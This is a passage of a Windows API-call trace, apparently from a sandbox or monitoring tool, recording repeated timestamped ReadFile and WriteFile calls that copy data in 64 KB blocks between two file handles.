hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.405] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.406] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.407] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.409] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.409] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.410] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.411] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.411] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.412] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.415] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.415] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.416] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.424] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.428] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.429] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.430] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.431] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.432] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.432] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.433] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.434] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.436] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.436] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.438] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.438] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.439] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.440] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.442] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.442] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.443] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.444] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.444] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.445] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.448] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.448] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.449] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.450] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.451] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.452] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.571] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.571] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.573] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.573] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.573] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.575] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.577] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.577] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.578] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.579] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.580] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.581] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.583] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.583] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.626] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.627] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.627] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.628] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.629] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.629] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.630] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.638] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.642] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.643] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.643] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.644] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.645] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.645] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.646] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.647] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.749] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.750] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.751] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.752] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.753] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.754] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.754] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.755] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.756] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.757] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.757] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.758] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.759] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.760] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.761] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.762] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.763] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.764] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.765] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.765] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.767] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.768] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.768] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.769] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.770] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.770] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.771] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.773] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, 